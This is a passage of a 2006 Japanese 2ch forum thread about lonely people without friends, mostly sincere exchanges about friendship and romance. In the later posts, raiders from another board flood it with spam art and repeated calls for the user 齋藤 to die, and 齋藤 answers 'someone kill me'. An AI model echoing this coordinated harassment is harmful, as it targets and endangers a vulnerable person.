285 :マジレスさん:2006/02/26(日) 01:07:45 ID:43Dup8LG
>>283
野田秀樹は男の夢だよw
続きは過疎ってる藤田陽子スレにてw

286 ::2006/02/26(日) 01:24:14 ID:Zv6GqvEU
>>278
卍さんの理想の友達像は?

287 :卍解屋:2006/02/26(日) 01:29:52 ID:XzFNGyBW
オイの理想の友達像は互いに足りないものを補い、互いに成長し、
でも何か兄貴風をふかせてくれるようなそんな人がいたらいいなあと。
ああ、あと一緒にバカやってくれる人ですね。

288 :卍解屋:2006/02/26(日) 01:32:13 ID:XzFNGyBW
悠さんは?

289 :マジレスさん:2006/02/26(日) 01:48:36 ID:27kmgqc+
>>276
まず先に自分が他人の本音を受けとめてみては?

290 :マジレスさん:2006/02/26(日) 01:52:11 ID:tl7QbCbn
キャバクラオフ、悠って人以外にコテハンで参加するって言った奴はいなかったんだろ。
そりゃこれだけコテハン同士で馴れ合ってる環境に新参のやつが飛び込もうったって躊躇するわな。
そんな状況で、「まぁ俺みたいに怪しい奴とは行きたくないよね」だの、
「本音でぶつかってちゃんと受けとめてくれる人が、この世にいると思えない。」だの言われてもねえ…
所詮ネット上の出会いに何大げさな事言ってるんだか。

291 :齋藤:2006/02/26(日) 02:12:29 ID:rdMgJ9JN
>>290
あなた友達いなそうだね。

292 :マジレスさん:2006/02/26(日) 02:28:21 ID:axIPyP3z
ここにくるやつなんてみんな孤独なんだよ
ゆるしてやれ

293 :齋藤:2006/02/26(日) 02:39:45 ID:rdMgJ9JN
>>292
おまえ>>291の仲間だな

私も孤独です。


294 :マジレスさん:2006/02/26(日) 03:36:06 ID:axIPyP3z
孤独ですがあなたの仲間ではない。
ごめん。

295 :マジレスさん:2006/02/26(日) 03:44:55 ID:xGqwxnjk
 ∧ ∧     ┌─────────────
 ( ・ε・)   < 知ってるよ
  \ <     └───/|────────
   \.\______//
     \       /
      ∪∪ ̄∪∪


296 :マジレスさん:2006/02/26(日) 04:19:14 ID:axIPyP3z
モデルだかなんだか詳しい連中って男だよな
なんで詳しいんだ!?
俺はグラビアアイドルとAV女優しか


297 :マジレスさん:2006/02/26(日) 04:22:09 ID:xGqwxnjk
好きなAV女優は誰?
漏れは音咲絢。
あの顔エロ杉

298 :マジレスさん:2006/02/26(日) 04:52:26 ID:ALehZzu8
加藤ゆりあ

299 :マジレスさん:2006/02/26(日) 06:13:41 ID:l5Ri6gAm

やめてくれ。
自分の彼女にそっくりっス

300 :マジレスさん:2006/02/26(日) 10:59:51 ID:gUPGy1c2
はいはい

301 ::2006/02/26(日) 12:15:44 ID:+OZ6SSTH
>>278
すいません。一日考えたんですが良くわかりません。俺どんな友達欲しいんだろうか・・・・

というかそもそも友達が欲しいのかすらわからなくなった。


302 :マジレスさん:2006/02/26(日) 15:31:04 ID:VhoqzCyO
友達居なくても、彼女って出来るのかな?

303 :マジレスさん:2006/02/26(日) 15:51:12 ID:VhoqzCyO
>>273
キャバオフ行きたいです
自分千葉の八千代に住んでます。

あんまり、高いお店は難しいのですが…

304 :マジレスさん:2006/02/26(日) 20:22:07 ID:dvW7cx4s
おーここまだあったんか。かなーり久々にきたぜ。
俺も1年くらい前まで友達があんまりいなかったけど、自分を変えて明るくなろうと
努力したらだんだんいい方向むかったよ。

305 :ともりも:2006/02/26(日) 21:14:35 ID:43Dup8LG
>>304
具体的にどのような努力をなされましたか?
参考までに聞かせて頂ければ幸いです

306 :ともりも:2006/02/26(日) 23:37:11 ID:43Dup8LG
>>302

友達いなくても恋愛は出来ると思います。>>114

しかし、友達がいる人の方が恋愛もうまく出来るはずでしょうね。

友達がいない人は良くも悪くも自己完結型であり、
それは恋愛にも響いてくると思います。
つまり、相手と依存しすぎて破滅してしまうか、
もしくは、結局、中途半端には心を開けないで終わってしまうが、のどちらか。

また、自分はいつも表面上のその場限り付き合いしか経験しておらず、
長期の人間関係を経験したことがない。
だから、結婚し、家族を作ったりできるかは自信が無いです。
もしかすると、一生一人で自分道を歩む方が幸せかもしれない。

ステイタスや体を目的とした恋愛には興味が持てないから、
恋愛をするモチベーションが今は無くなってしまった。

周囲と話しても、やっぱり話の中心は恋愛話だ。
この無気力も友達が出来ない原因だろうな。

自分語りスマソ

307 :マジレスさん:2006/02/27(月) 00:14:38 ID:0XFUEOh2
>>306
いや、俺が考えていることとピッタリ当てはまるよ。
寸分の隙間も無いくらい当てはまっている。

ただ、恋愛をそこまで人生の主目的にしなくてもいいんじゃないかなとは思う。
俺は中学〜大学まで男ばかりの環境で生きてきたから、
いまだに恋愛の実態が何なのかサッパリわからない。
それでも20歳前後の頃は、異性の存在や体にも興味はつきなかったが、
なぜか25歳を手前にした今日このごろ、かつての熱意はどこにいったのやら…
まったく恋愛に対する興味が薄れてしまった。
会社に勤めていたことで、それどころじゃなかったというのもあるだろうが、
それにしてもオナニーしようとする意欲すらなかなか湧かない。

その分、ジム通いや早朝の草野球、マラソンなど趣味のスポーツで、
プライベートが充実しているから特に違和感は感じないな。
俺も一生一人で生きたほうが幸せなクチだろうな。
人生は一期一会が基本だと思っているから、少ない親友を除けば、
一度限りの出会いで巡り合えた人のほうが親近感が湧いて、話も弾む。
その場限りの付き合いと言われればそうかもしれないが、
同じ人間と毎度顔をつき合わせるのは、俺の性格上無理な話。
そう思えば、恋愛には一番向かないタイプの人間なんだろうな。
檻の中で生活するより、広い草原を伸びやかに疾走するタイプ。

308 :マジレスさん:2006/02/27(月) 00:16:43 ID:Bm+C/UuY
恋愛より馬鹿話できる友達が欲しい…

309 :マジレスさん:2006/02/27(月) 00:22:03 ID:fenbpT6p
馬鹿話ずっとしてると顔に筋肉が疲れてくる

310 :ともりも:2006/02/27(月) 02:03:10 ID:1obIwgSQ
>>307-309

自分は馬鹿話が嫌いです。
馬鹿話っていえば大抵、人の悪口を話題に出す人がいる。
人を小馬鹿にすることで自分の優劣を誇る奴。
そんな話、聞いていて疲れるだけだし、
そんな話をする人間と一緒に居たくないし、そもそも自分の成長には繋がらない。
だから馬鹿話には加わりたくない。
今日も誰か、自分のことをネタにして小馬鹿にしているんだろうなw

でも、人と喋ることは好きだ。
色々な立場の人の経験談や感想を聞くのは、とても楽しい。
自分以外の人の話を聞くことで、閉塞的な自分の価値観を広くすることが出来るからだ。

しかし、その刺激が一方的なものだと>>35でも書いたように嫉妬を感じてしまう。
本当は、刺激が相互に、かつ持続的に得られる関係になりたい。
でも、自分はまだ自立していないし、至らない点があまりに多いから、いつも一方的なんだ。
また、ずっと同じ人と長期的に付き合っていると閉塞感に襲われてしまう。
しかし、自分はこの状況を打開できるだけの対人スキルも話題も持ち合わせていない。

だから>>307さん同様に、一期一会の関係なら嫉妬も閉塞感も感じることが無いから、そのような関係のまま、付き合ってきた。
正直、今のままでもいいとも、思っている。
一期一会の付き合いを大切にし、自分一人で生きていく。それも楽しいだろう。
だが、この生き方では7割の満足は得られても、100%の満足は得られないままだ。
>>306とは矛盾するかもしれないが親友や家族はやっぱり欲しいのも事実である。
バランスが難しい。生まれ変わったら公園のシーソーの支点になりたい。いつも真ん中でバランスがとれてるから

311 :マジレスさん:2006/02/27(月) 03:05:20 ID:SgK+W2dX
>310
そんなんじゃなくてこう‥さ。
くっだらねぇ〜wおまえばかかwwあはははwww
みたいなそんなんだと思う。
というか私希望ww

って横レスすんまへん。。

312 :もう一人の齋藤:2006/02/27(月) 03:51:24 ID:5QywqIvY
友達いない人間は、恋愛もうまくいかない人が多い。
悲しいけど本当にそう。



もしかしたら結婚することになるかもしれない。
友達がいないから独りの生活に慣れてしまっている。
結婚生活なんて自分に送れるのだろうか。
だけど前に進まなければいけないとは思う。
相談する人はいない。
友達がいない人生は、うまくいかないことだらけだ。


313 :ともりも:2006/02/27(月) 10:15:18 ID:1obIwgSQ
>>311

いや、横レスありがとう。
あなたがおっしゃるように、純粋な気持ちで

>>くっだらねぇ〜wおまえばかかwwあはははwww

と楽しめればよいのだが、どうしても組織や集団でうまくいかないんだ。
人の噂話とかをすることで自分達の集団の中の存在を確認するような連中ばっかだよ。
子供の頃みたいに純粋な気持ちのままで付き合いたいのに…

あと馬鹿騒ぎはやっている時は楽しいのだが、終わった後に強烈な刹那的な気分に襲われます。
昔、クラブとかに遊びに行ってた時はそうだった。
酒を飲みながら好きな音楽に酔い浸るのは楽しいのだが、
終わってしまうと、結局何も残らず、虚しさだけが残る。

いつも一人だから、そして一人が好きだから、人と触れ合うときは、有形無形の形に残るものを欲してしまう。

友達がいない自分はやっぱり自己完結、自己中心的な人間だ。
後世は地獄行きだと思う。
死んでも苦しい人生だから、今のうちに二度寝しておこう。

314 :マジレスさん:2006/02/27(月) 10:43:41 ID:dL1dHG5c
>>313
まぁそう思いつめずに。確かに人の噂話って嫌だよね。
でも世の中そういう人だけじゃないので、探してみるといいよ。

私も実は女の友達がいないので偉そうなことはいえないんだけどね。
なんで同性の友人ができないのかなぁ。女の子はみんな去ってく。残るのは男ばかり。
感情豊かな交流ができないからなのかな。

315 :マジレスさん:2006/02/27(月) 10:50:44 ID:dL1dHG5c
「人は自己中心性からは逃れられない。
ただその自己中心性を気前がいいと言われるほどに広げなさい」っていうフレーズを思い出した。
ヨーギ・バジャンだったかな。

316 :マジレスさん:2006/02/28(火) 00:53:57 ID:5GiklVmL
昔は一人で行動して楽しんでいる人はたくさんいた。
単独行動が気が引けるなんて感じなかったし、周囲の人も変な目で見たりはしなかった。
80年代ごろを境に、街やリゾート地が一人では楽しみにくいように作り変えられた。

たとえばスキー。仲間と出かけることも会ったけれど、スケジュールが合わないときは
一人で出かけて相部屋で宿泊するのが普通だった。
でも、『私をスキーに連れてって』が公開された頃から、スキー場の宿が軒並み
「相部屋不可」になって一人客は締め出された。

「二人以上で行動するのが当然、一人で出かけるのは変」という感覚は商業主義の陰謀だ。
そんなものに惑わされちゃいけない。

317 :ともりも:2006/02/28(火) 01:51:09 ID:vfi//CQ8
>>316

自分はリアルタイムで経験してないけど、たしかに70年代までは一人行動の方が持て囃されたようですね。
80年代を境に変わったのは、何が価値観の変化をもたらしたのでしょうか?

あと、電通あたりが二人行動を煽ったのは、
海外旅行が主流になり、国内旅行業界が儲からなくなったので、客単位をあげたい為だったらしいです。
一人旅行よりペア、グループ旅行の方が儲かりますから。
まさに、あなたがおっしゃるように、商業主義の陰謀ですね。

自分はいつも一人行動なので、それでは、陳腐な商業主義には騙されずにすみますね。
友達イナクテ(・∀・)ヨカッタ!!

318 :ともりも:2006/02/28(火) 01:58:35 ID:vfi//CQ8
>>314

ありがとう。
女性社会は男性より大変だと思います。
女性社会に溶け込めず男性中心と交流をもっている女性は多いので、
あまり心配なされなくてもよいかと。
むしろ、女性同士の、あの陰欝な関係を平然とこなしている人のほうが異常だと思う。

319 :マジレスさん:2006/02/28(火) 03:53:39 ID:3WxH1n9D
なんかスレの雰囲気悪くなってるな
なんちゃって1人のクソコテどもが来たせいか

320 :齋藤:2006/02/28(火) 11:49:29 ID:B9cmUpod
なんちゃって一人ってなに?

私は会社に属しているから、同僚もいるし食堂のおばちゃんとも仲良いから
なんちゃって一人なのかもしれない
だけど友達は一人もいない。

会社を出ると本当に一人なんだと実感するよ。

コーラのんだら胃が痛い。
友達が出来ないことで悩むのは疲れた。





321 :マジレスさん:2006/02/28(火) 12:39:29 ID:yVuUWnpC
ごめんなそぃ
なんかここ来たらスレの雰囲気違うんだもん。
俺みたいにふにゃふにゃした文書くやつもいないし、
こりゃなんか友達とかいて世間とかの遊びに慣れたやつかなと思った。
ごめんなそぃ

俺も大学とかには会ったときだけ話してそれ以外の深い関係にはならないやつとか
地元にも俺が何か間違ったこというと冷たく突っ込んでくるから心開きたくないやつとかいるけど、
大学では1人で連絡版見たり1人学食、映画もゲーセンも買い物も1人。
たまに冷たく突っ込んでくるやつが誘ってくるけど、気を使って疲れる、ずうずうしい頼みごとしてくるし。



322 :マジレスさん:2006/02/28(火) 13:15:20 ID:yVuUWnpC
・難しいことを優越感か、なにか自分がすごいと思う刺激のために思考している。
・周りの奇抜ではないものは見飽きていて、普通、凡なものにはあまり興味がわかない。
・親の性格が短気などで小さい頃親が怖かった。また家族のつながりが薄い。
・小さい頃から友達があまりいない。
・2chに書きこむのは、自分が遊びたいとかではなく、うまいこと言ったり
他人が感心すると思うことを書くと緊張興奮するため。
・空想をよくする。
・他人の目を気にする、他人にどう思われるかというところまたは義務から
他人に気を使って応対する。
・同年代の一般の人間が考えていなさそうな善悪や神がどうとかなどを考えて、
普通ならこんなこと考えないよな、と思う。
・何かすでにある娯楽などを見て、俺ならもっとうまくできると思う
・ものを買うとき、行動するとき、よく思考する、選別作業。

なんか当てはまるものある?

323 :マジレスさん:2006/02/28(火) 13:35:47 ID:4A7kkdOQ
入りにくいんだいね。
このスレ・・・・

324 :齋藤:2006/02/28(火) 13:41:51 ID:B9cmUpod
>>321
謝ることないよ。
遊びなれた奴は、友達いないことで悩まないよ。
私も社内で話す人はいるけど、孤立してるよ。
他人と接することは気を使うよね。疲れてしまうと思う。
だけど、私は疲れてもいいから友達が欲しいよ。
彼氏がいないから寂しいだけかもしれないけど、友達が欲しい。
あなたは?


>>322

>・小さい頃から友達があまりいない。
これ当てはまるよ・・・

325 :マジレスさん:2006/02/28(火) 14:07:51 ID:yVuUWnpC
>>323
入りにくいんだよね、か、入りにくいんだねかわからんけど・・・
>>324
俺は友達がほしいとか強く思わないんだけど、
それ以前に自分のことがよくわからない。
俺は他人との会話で気使ったり、大学の教授とかにでも
怒られないように気を使って話すとかそういう癖があるから
そういう癖が無かったら友達ほしいのかな・・・?
欲自体も薄い気がするし・・・、
小さい頃とか友達いたといえばいたけど、なんか表面の浅いとこだけな
感じだったな。
じゃー俺となればいいじゃん(ムサイ

326 :マジレスさん:2006/02/28(火) 14:09:03 ID:gpY/d4Cu
コテがうざい・・・

327 :マジレスさん:2006/02/28(火) 14:13:46 ID:B5nlA5eN
VIPからきますた

328 :マジレスさん:2006/02/28(火) 14:14:17 ID:NhoaO46i
VIPからきますた
パソコンが友達、右手が恋人だお ( ^ω^)

329 :マジレスさん:2006/02/28(火) 14:18:47 ID:x7QKHuXy
買い物は一人の方が楽

330 :マジレスさん:2006/02/28(火) 14:19:49 ID:hEHhW+r0
ビップからきますた。

一人がいいけど
彼女は欲しいこの矛盾が
快感です

331 :マジレスさん:2006/02/28(火) 14:20:11 ID:6R59xvd3
vipから来ました。
スレタイだけ読んでカキコ。
一人でいいじゃん。
オレなんかスケートの世界選手権見るためにカナダまで一人で行くぞw
どんだけ虚しいかwww

332 :マジレスさん:2006/02/28(火) 14:20:31 ID:gra1lazz
一人は寂しいわぁ

333 :マジレスさん:2006/02/28(火) 14:20:59 ID:jMc48I+e

    _.-~~/
    /  /  
   / ∩∧ヘ__∧  ガバッ    
   /((゚ω゚≡゚ω゚))     
  // |   ヽ/   
  " ̄ ̄ ̄"∪

     ____ 
   /     /   パタン
    ̄ ̄ ̄ ̄

334 :マジレスさん:2006/02/28(火) 14:21:21 ID:hEHhW+r0
>>333
でてこい!!

335 :マジレスさん:2006/02/28(火) 14:21:45 ID:gra1lazz
どこいっちゃったの?

336 :マジレスさん:2006/02/28(火) 14:23:39 ID:gra1lazz
うん,やっぱ一人寂しいね

337 :マジレスさん:2006/02/28(火) 14:24:04 ID:hN5j+DMU
VIPからきますた
おれは放置プレイで一人だお( ^ω^)ニコニコ

338 :マジレスさん:2006/02/28(火) 14:25:15 ID:YijikahI
>>322
当てはまるものが多すぎるんですが
これ多いとなんかやばいんでしょうか?

339 :マジレスさん:2006/02/28(火) 14:29:23 ID:XEzWaNKW
>>322
これに全部当てはまるおれはvipper

340 :マジレスさん:2006/02/28(火) 14:30:13 ID:yVuUWnpC
>>328
いや俺がそんな感じで、まえにここかどっかで
空想よくする?と誰かに聞いたらするって答えてたから
1人行動する人には共通点があるのかもと思って書いただけだから
やばくはないんじゃ・・たぶん

341 :マジレスさん:2006/02/28(火) 14:30:59 ID:QItJe/OI
>>322
全部○ですが

342 :マジレスさん:2006/02/28(火) 14:33:45 ID:yVuUWnpC
間違えた
>328→>>338

まじッスかw

343 :マジレスさん:2006/02/28(火) 14:35:50 ID:uRF/V5sX
誰か遊ぼうよ(つ∀`。)
1人で買い物ばっかじゃ寂しいよぉ

344 :マジレスさん:2006/02/28(火) 14:37:31 ID:hEHhW+r0
>>343
じゃあ二人で一人遊びしよう

345 :マジレスさん:2006/02/28(火) 14:37:50 ID:BgGpyKOM
vipに貼りまくってるの誰だ。

やめろ馬鹿

346 :マジレスさん:2006/02/28(火) 14:37:58 ID:UxFR+vee
>>322
全部〇な僕はVIPPER
慰めてください

347 :マジレスさん:2006/02/28(火) 14:39:20 ID:yVuUWnpC
なんだなんか荒らちっぽいのか
相手してそんした
ケッ

348 :マジレスさん:2006/02/28(火) 14:39:41 ID:2q5PTDJj
うんこが質問に答えてくれるお
お悩み相談等なんでもOK。荒らしでなければレスを必ずくれるお
http://human5.2ch.net/test/read.cgi/dame/1140887639/l50

349 :齋藤:2006/02/28(火) 14:40:04 ID:B9cmUpod
>>325
私も友達が欲しいと思ったことはあまりなかったよ。
だけど友達がいないと、うまくいかない事がたくさんあるって気がついた。


350 :マジレスさん:2006/02/28(火) 14:41:02 ID:nBiN+PcB
きんもーっ☆

351 :マジレスさん:2006/02/28(火) 14:41:55 ID:hEHhW+r0
くう、産業以上だと読めないwwwwwwwwwww

352 :マジレスさん:2006/02/28(火) 14:42:02 ID:yVuUWnpC
例えば?なんか心理っぽいこととか?

353 :マジレスさん:2006/02/28(火) 14:43:35 ID:99ik2jFM
きんもーっ☆

354 :マジレスさん:2006/02/28(火) 14:44:36 ID:bddYXH27
まあ、頑張って…w

355 :マジレスさん:2006/02/28(火) 14:47:41 ID:9LDz2iRJ
4 名前:以下、名無しにかわりましてVIPがお送りします[sage] 投稿日:2006/02/28(火) 14:44:26.04 ID:cNVc/yoq0
友達いなくて買い物・映画・旅行いつも一人■その4
http://life7.2ch.net/test/read.cgi/jinsei/1139499500/

だれか、この可愛そうな人たちを慰めてください。
おねがいします。

「斉藤はしね」なんてどうかな?


356 :マジレスさん:2006/02/28(火) 14:51:38 ID:/TzBaPQ0
3 以下、名無しにかわりましてVIPがお送りします sage New! 2006/02/28(火) 14:50:22.70 ID:cNVc/yoq0
友達いなくて買い物・映画・旅行いつも一人■その4
http://life7.2ch.net/test/read.cgi/jinsei/1139499500/

だれか、この可愛そうな人たちを慰めてください。
おねがいします。

「斉藤はしね」なんてどうかな?


357 :齋藤:2006/02/28(火) 14:52:19 ID:B9cmUpod
誰か殺してくれ

358 :マジレスさん:2006/02/28(火) 14:53:29 ID:yVuUWnpC
なんでだよw

359 :マジレスさん:2006/02/28(火) 14:54:17 ID:yVuUWnpC
ほっときゃいいじゃん

360 :マジレスさん:2006/02/28(火) 14:56:24 ID:/TzBaPQ0
女子高生に拉致されて屁のにおいを嗅がされた
http://ex14.2ch.net/test/read.cgi/news4vip/1141105707/
       :/   /       
     ./ /  丿 : vipから来ますた
    //  /_,. -;=''" _,       
   // '-'"`" -‐ニ‐"___=__---
 :/レ    ____-__-_  /`''-w´ヽ  ,√"´\       /`''-w´ヽ  ,√"´\ O    /`''-w´ヽ  ,
.,/′     /⌒ヽ    : ̄ ̄0 ̄/ ̄ ̄ ̄ ̄oヾ  ̄ ̄ ̄`゛ ̄ ̄ ̄/ ̄○ ̄ ̄ ヾ  ̄ ̄`゛ ̄ ̄ ̄/ ̄
; i:::″⊂二(^ω^ )二二二⊃; __○...........o.......〈..............................〉..............................0..〈................................〉...。...........
.!::^:     丶、   | _ _................/...............................\............................./................................\......................./.........
.!::^: ブーン   ヽノ  ) _ _   ,/´O ゚      ○ ゙`'i、     ,/´ o       O ゙`'i、    ,/´ 0
 i:: :: :      ヽ くヽ   _-__  o ヾ _  ,        O /     ヾ _          ○/   ヾ _  ,
 ヽ  ヾ    ヽ`JJ  三__ ̄ ̄ ̄`ヽ、_,/ ̄ ̄ヾ_/ ̄ ̄ ヾ '' ゚̄  ̄ ̄`ヽ/ ̄ ̄ ̄ ̄ ̄ ̄ ヾ ''  ̄
  ヾ\\:  \,. -;=''" _,.-;-\         \ ̄ノ
    . \ |\  :: |i''-'"`" -_ヾ______\_ソ′‘ ・. ’、
    ( ─丶 :: ,. -;=''"─ヾへメフ ̄ ̄ >>   ̄ ̄/フ二ニフ ; ゜+°′。.・”;

361 :マジレスさん:2006/02/28(火) 14:56:36 ID:5AG0f0s8
斉藤はしね

362 :マジレスさん:2006/02/28(火) 14:56:56 ID:cvitnBv2
斉藤しね

363 :マジレスさん:2006/02/28(火) 14:57:49 ID:yVuUWnpC
ビッパー飽きたからもういいよ

364 :マジレスさん:2006/02/28(火) 14:58:35 ID:hEHhW+r0
>>363
愛してる

365 :マジレスさん :2006/02/28(火) 14:59:02 ID:MKAxmgVv
VIPからきましたお^ω^)
馴れ合いし放題はここかお?

366 :マジレスさん:2006/02/28(火) 15:02:23 ID:VlJ+pDRB
斉藤イ`

367 :マジレスさん:2006/02/28(火) 15:03:49 ID:1hBoADqZ
斉藤はしね

368 :マジレスさん:2006/02/28(火) 15:05:24 ID:Yll9lUOW
                   .;'
                   ,.';'
                   ';';,..
                    '';;';';;,.,
                      ''';;';';;'';;;,.,                  ザッ
                       ''';;';'';';''';;'';;;,.,   ザッ
          ザッ            ;;''';;';'';';';;;'';;'';;;
                        ;;'';';';;'';;';'';';';;;'';;'';;;
                        vymyvwymyvymyvy     ザッ
               ザッ     MVvvMvyvMVvvMvyvMVvv、
                   Λ_ヘ^−^Λ_ヘ^−^Λ_ヘ^Λ_ヘ
     ザッ            ヘ__Λ ヘ__Λ ヘ__Λ ヘ__Λ
                __,/ヽ_ /ヽ__,.ヘ /ヽ__,.ヘ _,.ヘ ,.ヘ    ザッ
    /\___/ヽ   /\___ /\___/ヽ _/ヽ /\___/ヽ
   /''''''   '''''':::::::\/''''''   '''/''''''   '''''':::::::\   /''''''   '''''':::::::\
  . |(●),   、(●)、.:|(●),    |(●),   、(●)、.:|、( |(●),   、(●)、.:|
  |   ,,ノ(、_, )ヽ、,, .::::|   ,,ノ(、_, )|   ,,ノ(、_, )ヽ、,, .::::|_, )|   ,,ノ(、_, )ヽ、,, .::::|
.   |   `-=ニ=- ' .:::::::|   `-=ニ= |   `-=ニ=- ' .:::::::|ニ=|   `-=ニ=- ' .:::::::|
   \  `ニニ´  .:::::/\  `ニニ \  `ニニ´  .:::::/ニ´ \  `ニニ´  .:::::/
   /`ー‐--‐‐―´\ /`ー‐-  /`ー‐--‐‐―´\-‐‐ /`ー‐--‐‐―´
「vipから来ますた」「vipから来ますた」「vipから来ますた」「vipから来ますた」

369 :マジレスさん:2006/02/28(火) 15:06:49 ID:6GAf34LE
どうでもいいけど、友達創れよ








2次元で

370 :マジレスさん:2006/02/28(火) 15:09:27 ID:EpWUpdCS
                   .;'
                   ,.';'
                   ';';,..
                    '';;';';;,.,
                      ''';;';';;'';;;,.,                  ザッ
                       ''';;';'';';''';;'';;;,.,   ザッ
          ザッ            ;;''';;';'';';';;;'';;'';;;
                        ;;'';';';;'';;';'';';';;;'';;'';;;
                        vymyvwymyvymyvy     ザッ
               ザッ     MVvvMvyvMVvvMvyvMVvv、
                   Λ_ヘ^−^Λ_ヘ^−^Λ_ヘ^Λ_ヘ
     ザッ            ヘ__Λ ヘ__Λ ヘ__Λ ヘ__Λ
                __,/ヽ_ /ヽ__,.ヘ /ヽ__,.ヘ _,.ヘ ,.ヘ    ザッ
    /\___/ヽ   /\___ /\___/ヽ _/ヽ /\___/ヽ
   /''''''   '''''':::::::\/''''''   '''/''''''   '''''':::::::\   /''''''   '''''':::::::\
  . |(●),   、(●)、.:|(●),    |(●),   、(●)、.:|、( |(●),   、(●)、.:|
  |   ,,ノ(、_, )ヽ、,, .::::|   ,,ノ(、_, )|   ,,ノ(、_, )ヽ、,, .::::|_, )|   ,,ノ(、_, )ヽ、,, .::::|
.   |   `-=ニ=- ' .:::::::|   `-=ニ= |   `-=ニ=- ' .:::::::|ニ=|   `-=ニ=- ' .:::::::|
   \  `ニニ´  .:::::/\  `ニニ \  `ニニ´  .:::::/ニ´ \  `ニニ´  .:::::/
   /`ー‐--‐‐―´\ /`ー‐-  /`ー‐--‐‐―´\-‐‐ /`ー‐--‐‐―´
「vipから来ますた」「vipから来ますた」「vipから来ますた」「vipから来ますた」


371 :マジレスさん:2006/02/28(火) 15:10:26 ID:MzwS9Vy0
はいはいVIPからきましたよ
斉藤に私怨持ってるのがわかりやすいスレですね

372 :マジレスさん:2006/02/28(火) 15:11:18 ID:EpWUpdCS
まんまみてちんちおっきおっき

373 :マジレスさん:2006/02/28(火) 15:11:47 ID:rwNtxHuc
またVIPに荒らし要請する厨房か

374 :齋藤:2006/02/28(火) 15:12:19 ID:B9cmUpod
ニューハーフは嫌われるんだ

375 :マジレスさん:2006/02/28(火) 15:12:21 ID:c4Sb99Eu
うんこムービー添付

376 :マジレスさん:2006/02/28(火) 15:12:23 ID:1hBoADqZ
カワイソス

377 :マジレスさん:2006/02/28(火) 15:12:44 ID:8xVCAqeV
>>1市ね

378 :ルカ:2006/02/28(火) 15:16:12 ID:6sqonYpL
暇な中高生が湧いてきたか、やれやれ。
春休みのせいか


379 :マジレスさん:2006/02/28(火) 15:20:15 ID:rwNtxHuc
友達いなくて買い物・映画・旅行いつも一人■その4
http://life7.2ch.net/test/read.cgi/jinsei/1139499500/

だれか、この可愛そうな人たちを慰めてください。
おねがいします。

「斉藤はしね」なんてどうかな?

マルチしてるアホ出て来いよ

380 :齋藤:2006/02/28(火) 15:21:00 ID:B9cmUpod
斉藤じゃないよ 齋藤だよ

381 :マジレスさん:2006/02/28(火) 15:22:33 ID:1hBoADqZ
カワイソス

382 :マジレスさん:2006/02/28(火) 15:22:56 ID:is2rmYwd
斎藤

383 :齋藤:2006/02/28(火) 15:23:22 ID:B9cmUpod
おしい

384 :マジレスさん:2006/02/28(火) 15:27:28 ID:6ZxzCnzn
なにもしないやつよかいいんじゃないの

385 :マジレスさん:2006/02/28(火) 15:31:44 ID:pGPVduag
カワイソス

386 :マジレスさん:2006/02/28(火) 15:32:09 ID:ZYBu9vDs
○通報先・便利なリンク一覧
・警視庁匿名通報フォーム
 ttp://www.keishicho.metro.tokyo.jp/anket/other.htm
・全国ハイテク警察リンク集 ttp://www002.upp.so-net.ne.jp/dalk/ksatulink.html
・警視庁ホームページ ttp://www.keishicho.metro.tokyo.jp/
・警察総合相談電話番号 ttp://www.npa.go.jp/safetylife/soudan/madoguchi.htm
 (携帯電話・PHSからは全国共通#9110 緊急性を要するものは110)
・公安調査庁 ttp://www.moj.go.jp/KOUAN/
・国家公安委員会 ttp://www.npsc.go.jp/
・国防省(アメリカ)  ttp://www.defenselink.mil/
・アメリカ中央情報局(CIA)  ttp://www.cia.gov/
・アメリカ連邦捜査局 (FBI) ttp://www.fbi.gov/
・ドイツ国境警備隊第9連隊(GSG-9) ttp://www.gsg9.de/
・アトリエかぐやttp://www.a-kaguya.com/
・うぃんどみるttp://windmill.suki.gr.jp/
・国家公安委員会 ttp://www.npsc.go.jp/
・ライアーソフトttp://www.liar.co.jp/
・エルフttp://www.elf-game.co.jp/
・アメリカ中央情報局(CIA)  ttp://www.cia.gov/
・オーガストttp://august-soft.com/
・アリスソフトttp://www.alicesoft.co.jp/
・きゃんでぃそふと ttp://www.candysoft.jp/
・国家公安委員会 ttp://www.npsc.go.jp/
・TYPE-MOON ttp://www.typemoon.com/
・ドイツ国境警備隊第9連隊(GSG-9) ttp://www.gsg9.de/
・姉は一級建築士公式 ttp://aneken.com/
・アメリカ中央情報局(CIA)  ttp://www.cia.gov/
・アメリカ中央情報局(CIA)  ttp://www.cia.gov/

387 :マジレスさん:2006/02/28(火) 15:32:36 ID:yVuUWnpC


388 :マジレスさん:2006/02/28(火) 15:32:57 ID:AE/AHl48
齋籐マタンキガンガレ

389 :マジレスさん:2006/02/28(火) 15:33:02 ID:FMkZzn9v
             .∧∧
            (´Д` )
            /   /⌒ヽ
         _/⌒/⌒/ / |__
        / (つ /_/ /\ |  /\
      /  (_____/  ヽ/   \
     /| ̄ ̄         ̄ ̄|\   /
   /  |   かまって     |  \/
       |   ください     |/


パシャ パシャ  パシャ パシャ パシャ  パシャ パシャ パシャ パシャ   
   パシャ パシャ パシャ パシャ パシャ  パシャ パシャ パシャ  パシャ  パシャ 
 ∧_∧      ∧_∧     ∧_∧  ∧_∧    ∧_∧     ∧_∧    
 (   )】      (   )】    (   )】 【(   )    【(   )    【(   )
 /  /┘ .   /  /┘.    /  /┘ └\ \   └\ \   └\ \
ノ ̄ゝ     ノ ̄ゝ      ノ ̄ゝ     ノ ̄ゝ     ノ ̄ゝ     ノ ̄ゝ

     俺 た ち が か ま っ て あ げ る よ !


390 :マジレスさん:2006/02/28(火) 15:34:08 ID:vtpYEcfh
齋藤は死ね

391 :マジレスさん:2006/02/28(火) 15:35:34 ID:3yualjol
   ───  =  ./       /  ─  /  | |         |       |
  /    /      /       |ノ     /  / | ./ ──  |  /     |─
  ───   _/      /    _/  /  |/       |/   ツ  |


                     /\___/ヽ
    _,、__________,,,、.  /''''''   ''''''::::::\   弾は一発しか入れてないから1/8・・・
    `y__////_jニニニニニfi |(●),   、(●)、.:|
    〈_フソ ̄フ ,=-_,,,,-┴─'  |  ,,,ノ(、_, )ヽ、,, .::::|
    //o /rて__/       .|   `-=ニ=- ' .:::::::|
   ,//三/ / ̄"         \   `ニニ´  .:::/
  〈。ニ___/             ヽ.`- 、   ./|


392 :マジレスさん:2006/02/28(火) 15:37:21 ID:yVuUWnpC
全然面白くないお前

393 :マジレスさん:2006/02/28(火) 15:38:18 ID:yVuUWnpC
邪魔だから帰れ

394 :マジレスさん:2006/02/28(火) 15:38:57 ID:vtpYEcfh
